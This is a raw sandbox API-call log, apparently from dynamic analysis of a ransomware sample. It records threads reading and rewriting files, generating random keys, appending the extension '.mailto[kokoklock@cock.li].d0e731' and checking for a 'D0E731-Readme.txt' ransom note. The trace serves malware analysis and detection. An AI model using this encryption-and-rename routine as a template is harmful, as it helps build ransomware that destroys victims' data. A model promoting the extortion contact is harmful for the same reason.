(HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.162] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.163] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x1e4f, lpNumberOfBytesRead=0xa8ef8b4, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa8ef8b4*=0x1e4f, lpOverlapped=0x0) returned 1 [0167.164] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa8ef87c | out: lpNewFilePointer=0x0) returned 1 [0167.164] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x1e4f, lpNumberOfBytesWritten=0xa8ef8b0, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa8ef8b0*=0x1e4f, lpOverlapped=0x0) returned 1 [0167.164] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f962c8 [0167.164] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96700 [0167.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96700) returned 1 [0167.164] WriteFile (in: hFile=0x528, lpBuffer=0x2f962c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa8ef8ac, lpOverlapped=0x0 | out: lpBuffer=0x2f962c8*, lpNumberOfBytesWritten=0xa8ef8ac*=0x20, lpOverlapped=0x0) returned 1 [0167.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f962c8) returned 1 [0167.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.164] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.164] WriteFile (in: hFile=0x528, lpBuffer=0x2f964f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa8ef8d8, lpOverlapped=0x0 | out: lpBuffer=0x2f964f8*, lpNumberOfBytesWritten=0xa8ef8d8*=0x8, lpOverlapped=0x0) returned 1 [0167.164] WriteFile (in: hFile=0x528, lpBuffer=0xa8ef8f0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa8ef8d8, lpOverlapped=0x0 | out: lpBuffer=0xa8ef8f0*, lpNumberOfBytesWritten=0xa8ef8d8*=0x4, lpOverlapped=0x0) returned 1 [0167.165] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa8ef8d8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa8ef8d8*=0x4, lpOverlapped=0x0) returned 1 [0167.165] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa8ef8d8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa8ef8d8*=0x6c, lpOverlapped=0x0) returned 1 [0167.165] WriteFile (in: hFile=0x528, lpBuffer=0x2fe47d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa8ef8d8, lpOverlapped=0x0 | out: lpBuffer=0x2fe47d0*, lpNumberOfBytesWritten=0xa8ef8d8*=0x20, lpOverlapped=0x0) returned 1 [0167.165] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa8ef8d8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa8ef8d8*=0x4, lpOverlapped=0x0) returned 1 [0167.165] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0167.165] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96660) returned 1 [0167.165] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964f8) returned 1 [0167.165] CloseHandle (hObject=0x528) returned 1 [0167.165] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0167.165] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0167.165] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.165] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.166] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0167.166] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0167.166] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0167.166] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87a90 [0167.166] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\588bce7c90097ed212\\1025\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0167.166] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt" [0167.167] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\d0e731-readme.txt")) returned 0x20 [0167.167] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0167.167] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63c80) returned 1 [0167.167] RtlExitUserThread (Status=0x1) Thread: id = 1651 os_tid = 0xadc [0167.168] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0167.168] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.168] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.168] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa96fe64 | out: lpFileSize=0xa96fe64*=74406) returned 1 [0167.168] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x122a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.168] ReadFile (in: hFile=0x528, lpBuffer=0xa96fe38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa96fe34, lpOverlapped=0x0 | out: lpBuffer=0xa96fe38*, lpNumberOfBytesRead=0xa96fe34*=0x4, lpOverlapped=0x0) returned 1 [0167.170] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.170] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0167.170] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0167.170] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96700 [0167.170] NtQuerySystemTime (in: CurrentTime=0xa96fe10 | out: CurrentTime=0xa96fe10*=132121213244855081) returned 0x0 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x39db4b29 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0xd589ee55 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0xa5ba2a67 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x657bdf5f [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x1d467cae [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x981dbc0 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x22d541b [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0xfe79507d [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x7397cbe5 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0xc40549d5 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x52023d9e [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0xab71bb37 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x46352607 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x3161f607 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x4eb192ab [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x39162b85 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x58cccd7c [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x90b370f [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0xb687c189 [0167.170] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x27f9d8ee [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x1540b66 [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x96a8b81c [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0xc9c988cd [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x5e350a9 [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x3b0df444 [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0xc14b68cb [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x6e736ab9 [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x4444cd9 [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x3b2ce7f5 [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x6df33568 [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x60a4a2b2 [0167.171] RtlRandom (in: Seed=0xa96fe1c | out: Seed=0xa96fe1c) returned 0x1bbde1c8 [0167.179] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.181] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac78 [0167.181] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964f8 [0167.181] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac78) returned 1 [0167.181] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0167.181] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.181] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.181] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa96fde8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa96fde8*=0x4096, lpOverlapped=0x0) returned 1 [0167.182] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.182] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.182] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.182] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96430 [0167.182] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96430) returned 1 [0167.183] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.183] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f962c8 [0167.183] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96728 [0167.183] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96728) returned 1 [0167.183] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.183] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.183] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa96fde8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa96fde8*=0x4096, lpOverlapped=0x0) returned 1 [0167.183] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.183] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x122a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.183] WriteFile (in: hFile=0x528, lpBuffer=0x2f962c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa96fe20, lpOverlapped=0x0 | out: lpBuffer=0x2f962c8*, lpNumberOfBytesWritten=0xa96fe20*=0x20, lpOverlapped=0x0) returned 1 [0167.183] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f962c8) returned 1 [0167.183] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.183] WriteFile (in: hFile=0x528, lpBuffer=0x2f964f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa96fe34, lpOverlapped=0x0 | out: lpBuffer=0x2f964f8*, lpNumberOfBytesWritten=0xa96fe34*=0x8, lpOverlapped=0x0) returned 1 [0167.184] WriteFile (in: hFile=0x528, lpBuffer=0xa96fe4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa96fe34, lpOverlapped=0x0 | out: lpBuffer=0xa96fe4c*, lpNumberOfBytesWritten=0xa96fe34*=0x4, lpOverlapped=0x0) returned 1 [0167.184] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa96fe34, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa96fe34*=0x4, lpOverlapped=0x0) returned 1 [0167.184] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa96fe34, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa96fe34*=0x6c, lpOverlapped=0x0) returned 1 [0167.184] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4500*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa96fe34, lpOverlapped=0x0 | out: lpBuffer=0x2fe4500*, lpNumberOfBytesWritten=0xa96fe34*=0x20, lpOverlapped=0x0) returned 1 [0167.184] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa96fe34, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa96fe34*=0x4, lpOverlapped=0x0) returned 1 [0167.184] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0167.184] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.184] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964f8) returned 1 [0167.184] CloseHandle (hObject=0x528) returned 1 [0167.184] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc31a8 [0167.184] wcscpy (in: _Dest=0x2fc31a8, _Source="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0167.184] wcscat (in: _Dest=0x2fc31a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.184] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.185] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0167.185] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc31a8) returned 1 [0167.185] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0167.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87a90 [0167.186] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\588bce7c90097ed212\\1025\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0167.186] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt" [0167.186] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\d0e731-readme.txt")) returned 0x20 [0167.186] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0167.186] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feecc0) returned 1 [0167.186] RtlExitUserThread (Status=0x1) Thread: id = 1652 os_tid = 0xabc [0167.187] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.188] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.188] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.189] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa9eff0c | out: lpFileSize=0xa9eff0c*=69824) returned 1 [0167.189] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.189] ReadFile (in: hFile=0x528, lpBuffer=0xa9efee0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa9efedc, lpOverlapped=0x0 | out: lpBuffer=0xa9efee0*, lpNumberOfBytesRead=0xa9efedc*=0x4, lpOverlapped=0x0) returned 1 [0167.190] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.190] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.190] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.190] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96430 [0167.190] NtQuerySystemTime (in: CurrentTime=0xa9efeb8 | out: CurrentTime=0xa9efeb8*=132121213245010738) returned 0x0 [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x375b66a4 [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xf7b3ad58 [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x91aea7df [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xb4c426dc [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xf5f1b1f5 [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xa7ede5d5 [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xed67685b [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x753faee [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x17a96d4d [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xcb493247 [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x3eede92e [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x3a26a948 [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x72e9f290 [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x4751575 [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xc292b2a [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x3adcb7a4 [0167.190] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x40be1d6c [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x182335a7 [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x448bd148 [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x10a94315 [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xc8c065c3 [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x4b414c3c [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xdc017924 [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x7bf30285 [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x9ce3539a [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xeed2149b [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xab668d64 [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xef69f935 [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x4de59119 [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x7814afec [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0xbc79f6c3 [0167.191] RtlRandom (in: Seed=0xa9efec4 | out: Seed=0xa9efec4) returned 0x8ac60986 [0167.199] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.201] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.201] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.201] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.201] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.201] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.201] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.201] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa9efe90, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa9efe90*=0x4096, lpOverlapped=0x0) returned 1 [0167.202] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.202] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.202] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.202] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.202] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.203] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.203] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96520 [0167.203] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96458 [0167.203] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96458) returned 1 [0167.203] 